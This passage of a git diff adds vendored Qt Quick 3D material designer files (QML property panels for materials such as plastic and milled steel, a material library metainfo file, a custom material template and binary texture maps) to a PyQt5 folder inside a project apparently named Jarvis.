backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + + Section { + caption: qsTr("Diffuse Color") + width: parent.width + ColorEditor { + caption: qsTr("Diffuse Color") + backendValue: backendValues.diffuse_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Roughness") + tooltip: qsTr("Set the material roughness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + Label { + text: qsTr("Index of Refraction") + tooltip: qsTr("Set the index of refraction for the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1.6 + minimumValue: 1.4 + decimals: 3 + stepSize: 0.01 + backendValue: backendValues.material_ior + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture Scaling") + tooltip: qsTr("Set the texture scaling of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.texture_scaling + Layout.fillWidth: true + } + } + Label { + text: qsTr("Bump Factor") + tooltip: qsTr("Set the strength of the bumpiness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bump_factor + Layout.fillWidth: true + } + } + } + } + Section { + caption: qsTr("Random Gradient Maps") + width: parent.width + SectionLayout { + Label { + text: qsTr("1D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient1D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("2D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient2D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("3D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient3D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("4D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient4D_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedMaterialSpecifics.qml new file mode 100644 index 00000000..6f28aec6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PlasticStructuredRedMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/SteelMilledConcentricMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/SteelMilledConcentricMaterialSection.qml new file mode 100644 index 00000000..182b3ade --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/SteelMilledConcentricMaterialSection.qml @@ -0,0 +1,214 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Index of Refraction") + tooltip: qsTr("Set the index of refraction for the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2.97 + minimumValue: 0.47 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.material_ior + Layout.fillWidth: true + } + } + Label { + text: qsTr("Anisotropy") + tooltip: qsTr("Set the anisotropy of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0.01 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.anisotropy + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Textures") + width: parent.width + + ColumnLayout { + width: parent.width - 16 + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Tiling") + tooltip: qsTr("Sets the tiling repeat of the texture maps.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.texture_tiling_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.texture_tiling_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + SectionLayout { + Label { + text: qsTr("Diffuse") + tooltip: qsTr("Defines a texture for diffuse map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.diffuse_texture_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("Anisotropy") + tooltip: qsTr("Defines a texture for anisotropy map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.anisotropy_rot_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/SteelMilledConcentricMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/SteelMilledConcentricMaterialSpecifics.qml new file mode 100644 index 00000000..2d357149 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/SteelMilledConcentricMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + SteelMilledConcentricMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial.png new file mode 100644 index 00000000..1b540da5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial16.png new file mode 100644 index 00000000..72847922 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial@2x.png new file mode 100644 index 00000000..3dbcf732 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/materiallib.metainfo b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/materiallib.metainfo new file mode 100644 index 00000000..0f63c0b7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/materiallib.metainfo @@ -0,0 +1,306 @@ +MetaInfo { + Type { + name: "QtQuick3D.Materials.AluminumAnodizedEmissiveMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Aluminum Anod Emis" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.AluminumAnodizedMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Aluminum Anodized" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.AluminumBrushedMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Aluminum Brushed" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.AluminumEmissiveMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Aluminum Emissive" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.AluminumMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Aluminum" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.CopperMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Copper" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.FrostedGlassMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Frosted Glass" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.FrostedGlassSinglePassMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Frosted Glass Single Pass" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.GlassMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Glass" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.GlassRefractiveMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Glass Refractive" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.PaperArtisticMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Paper Artistic" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.PaperOfficeMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Paper Office" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.PlasticStructuredRedEmissiveMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Plastic Struct Emissive" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.PlasticStructuredRedMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Plastic Structured" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.SteelMilledConcentricMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Steel Milled Concentric" + category: "Qt Quick 3D Materials" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + } + } + Type { + name: "QtQuick3D.Materials.CustomMaterial" + icon: "images/custommaterial16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Custom Material" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/custommaterial.png" + version: "1.14" + requiredImport: "QtQuick3D.Materials" + QmlSource { source: "./source/custommaterial_template.qml" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/source/custommaterial_template.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/source/custommaterial_template.qml new file mode 100644 index 00000000..a5657663 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/source/custommaterial_template.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Materials 1.15 + +CustomMaterial { + shaderInfo: shaderInformation + passes: renderPass + + ShaderInfo { + id: shaderInformation + type: "GLSL" + version: "330" + } + + Pass { + id: renderPass + shaders: [vertShader, fragShader] + } + + Shader { + id: vertShader + stage: Shader.Vertex + shader: "/* Set to a vertex shader file */" + } + + Shader { + id: fragShader + stage: Shader.Fragment + shader: "/* Set to a fragment shader file */" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/art_paper_normal.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/art_paper_normal.png new file mode 100644 index 00000000..5696c1af Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/art_paper_normal.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/art_paper_trans.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/art_paper_trans.png new file mode 100644 index 00000000..e70e8a63 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/art_paper_trans.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/brushed_a.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/brushed_a.png new file mode 100644 index 00000000..5196fbce Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/brushed_a.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/brushed_full_contrast.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/brushed_full_contrast.png new file mode 100644 index 00000000..a2322a6a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/brushed_full_contrast.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/concentric_milled_steel.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/concentric_milled_steel.png new file mode 100644 index 00000000..56101f25 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/concentric_milled_steel.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/concentric_milled_steel_aniso.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/concentric_milled_steel_aniso.png new file mode 100644 index 00000000..f4ef5b67 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/concentric_milled_steel_aniso.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/emissive.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/emissive.png new file mode 100644 index 00000000..599b1ccc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/emissive.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/emissive_mask.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/emissive_mask.png new file mode 100644 index 00000000..599b1ccc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/emissive_mask.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/grunge_b.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/grunge_b.png new file mode 100644 index 00000000..2dd49698 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/grunge_b.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/grunge_d.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/grunge_d.png new file mode 100644 index 00000000..88c571f1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/grunge_d.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/paper_diffuse.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/paper_diffuse.png new file mode 100644 index 00000000..863a0887 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/paper_diffuse.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/paper_trans.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/paper_trans.png new file mode 100644 index 00000000..68a38458 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/paper_trans.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient1D.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient1D.png new file mode 100644 index 00000000..0d37132f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient1D.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient2D.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient2D.png new file mode 100644 index 00000000..8b60ca68 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient2D.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient3D.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient3D.png new file mode 100644 index 00000000..c22e1ba8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient3D.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient4D.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient4D.png new file mode 100644 index 00000000..ad282d85 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient4D.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/shadow.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/shadow.png new file mode 100644 index 00000000..599b1ccc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/shadow.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/spherical_checker.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/spherical_checker.png new file mode 100644 index 00000000..e42394dd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/maps/spherical_checker.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/plugins.qmltypes new file mode 100644 index 00000000..a261e632 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/plugins.qmltypes @@ -0,0 +1,56 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick3D.Materials 1.15' + +Module { + dependencies: [ + "QtQuick 2.15", + "QtQuick.Window 2.1", + "QtQuick3D 1.15", + "QtQuick3D.Effects 1.15" + ] + Component { + name: "QQuick3DCustomMaterial" + defaultProperty: "data" + prototype: "QQuick3DMaterial" + exports: ["QtQuick3D.Materials/CustomMaterial 1.14"] + exportMetaObjectRevisions: [0] + Property { name: "hasTransparency"; type: "bool" } + Property { name: "hasRefraction"; type: "bool" } + Property { name: "alwaysDirty"; type: "bool" } + Property { name: "shaderInfo"; type: "QQuick3DShaderUtilsShaderInfo"; isPointer: true } + Property { name: "passes"; type: "QQuick3DShaderUtilsRenderPass"; isList: true; isReadonly: true } + Signal { + name: 